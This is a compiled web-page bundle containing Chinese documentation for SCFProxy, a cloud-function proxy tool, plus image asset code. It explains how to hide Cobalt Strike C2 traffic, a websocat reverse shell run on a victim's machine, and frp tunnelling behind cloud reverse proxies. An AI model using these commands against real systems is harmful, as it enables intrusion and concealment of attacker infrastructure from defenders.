abc12345\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225645289",src:s(23263).A+"",width:"874",height:"144"})}),"\n",(0,r.jsx)(i.h4,{id:"\u5b89\u88c5\u8bc1\u4e66-1",children:"\u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:"\u53cc\u51fb\u8bc1\u4e66 -> \u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135148342",src:s(96152).A+"",width:"479",height:"671"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9a8c\u8bc1-1",children:"\u9a8c\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6eSwitchyOmega"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140744276",src:s(83006).A+"",width:"1852",height:"720"})}),"\n",(0,r.jsxs)(i.p,{children:["\u8bbf\u95ee",(0,r.jsx)(i.a,{href:"https://ifconfig.me/",children:"https://ifconfig.me/"})]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140831662",src:s(69032).A+"",width:"1155",height:"834"})}),"\n",(0,r.jsx)(i.h4,{id:"\u6e05\u7406-3",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy list socks\n./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely\n./scfproxy list socks\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225738880",src:s(26503).A+"",width:"651",height:"56"})}),"\n",(0,r.jsx)(i.h2,{id:"\u53cd\u5411\u4ee3\u7406",children:"\u53cd\u5411\u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72-2",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-o origin "})," \u7528\u4e8e\u6307\u5b9a\u9700\u8981\u7528\u4e8e\u53cd\u5411\u4ee3\u7406\u7684\u56de\u6e90\u5730\u5740\uff0c\u53ef\u63a5\u53d7 HTTP \u53ca Websocket \u534f\u8bae\u3002"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"--ip ip_list"})," \u7528\u4e8e\u9650\u5236\u8bbf\u95ee\u6765\u6e90\uff0c\u53ea\u6709 ",(0,r.jsx)(i.code,{children:"ip_list"})," \u4e2d\u7684 ip \u624d\u80fd\u8bbf\u95ee\u90e8\u7f72\u8fd4\u56de\u7684\u53cd\u5411\u4ee3\u7406\u7f51\u5173\u5730\u5740\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f7f\u7528\u573a\u666f",children:"\u4f7f\u7528\u573a\u666f"}),"\n",(0,r.jsx)(i.p,{children:"\u57fa\u4e8e\u53cd\u5411\u4ee3\u7406\u53ef\u6709\u5982\u4e0b\u4f7f\u7528\u65b9\u6cd5\uff0c"}),"\n",(0,r.jsx)(i.h4,{id:"c2-\u9690\u85cf",children:"C2 \u9690\u85cf"}),"\n",(0,r.jsx)(i.p,{children:"\u4ee5 cobaltstrike \u4e3a\u4f8b\uff0c\u53ea\u9700\u5c06 api \u7684\u57df\u540d\u586b\u5165 listener \u7684 host"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o http://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"cs.png",src:s(83375).A+"",width:"484",height:"453"})}),"\n",(0,r.jsx)(i.h4,{id:"\u53cd\u5f39-shell-\u5730\u5740\u9690\u85cf",children:"\u53cd\u5f39 shell \u5730\u5740\u9690\u85cf"}),"\n",(0,r.jsxs)(i.p,{children:["\u501f\u52a9 ",(0,r.jsx)(i.a,{href:"https://github.com/vi/websocat",children:"websocat"})," \u5de5\u5177\u53ef\u5b9e\u73b0\u53cd\u5f39 shell \u7684\u529f\u80fd\u3002"]}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o ws://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u53d7\u5bb3\u8005\u7aef\u6267\u884c\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u653b\u51fb\u8005 vps \u6267\u884c\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u6548\u679c\u5982\u56fe\uff1a ",(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy/blob/main/img/reverse_shell.png",children:(0,r.jsx)(i.img,{alt:"reverse_shell.png",src:s(77492).A+"",width:"1504",height:"91"})})]}),"\n",(0,r.jsx)(i.h4,{id:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",children:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf"}),"\n",(0,r.jsx)(i.p,{children:"\u8be5\u4f7f\u7528\u573a\u666f\u9700\u8981\u652f\u6301 websocket \u534f\u8bae\u7684\u5185\u7f51\u7a7f\u900f\u8f6f\u4ef6\u3002"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o ws://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u4ee5 frp \u4ee3\u7406 SOCKS \u4e3a\u4f8b\uff0c\u5ba2\u6237\u7aef\u914d\u7f6e\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"[common]\nserver_addr = reverse_proxy_domain\nserver_port = 80\ntls_enable = true \nprotocol = websocket\n\n[plugin_sock5]\ntype = tcp\nremote_port = 8080\nplugin = socks5\nuse_encryption = true\nuse_compression = true\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u6548\u679c\u5982\u56fe"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"frp",src:s(5988).A+"",width:"1513",height:"129"})}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406-4",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear http -p provider_list -r region_list -o origin\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u4e0e HTTP \u53ca SOCKS \u4ee3\u7406\u4e0d\u540c\uff0c\u53cd\u5411\u4ee3\u7406\u6ca1\u6709 ",(0,r.jsx)(i.code,{children:"--completely"})," \u53c2\u6570\uff0c\u4f46\u9700\u8981\u6307\u5b9a ",(0,r.jsx)(i.code,{children:"origin"})," \u53c2\u6570\u7528\u4e8e\u5b9a\u4f4d\u9700\u8981\u5220\u9664\u7684\u670d\u52a1"]}),"\n",(0,r.jsx)(i.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsxs)(i.li,{children:["\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.a,{href:"https://xz.aliyun.com/t/9502",children:"\u6d45\u8c08\u4e91\u51fd\u6570\u7684\u5229\u7528\u9762"})}),"\n"]}),"\n",(0,r.jsxs)(i.li,{children:["\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy",children:"SCFProxy"})}),"\n"]}),"\n"]})]})}function p(e={}){const{wrapper:i}={...(0,l.R)(),...e.components};return i?(0,r.jsx)(i,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},77492:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/reverse_shell-f949bf4c1cab3a020a0ab213a9352540.png"},83006:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223140744276-3d9ff9b7b2b8ae4e26ecc435b10d12c6.png"},83375:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png"},84827:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222221636085-ed5503668b24b3af098b82b01e68b224.png"},84978:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223141456899-2ff8998f00925049d1557f979ff0406e.png"},87079:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223134859998-1470ad905c4e4042d2cd0e3f4402c3b5.png"},87339:(e,i,s)=>{s.d(i,{A:()=>n});const n="data:image/png;base64,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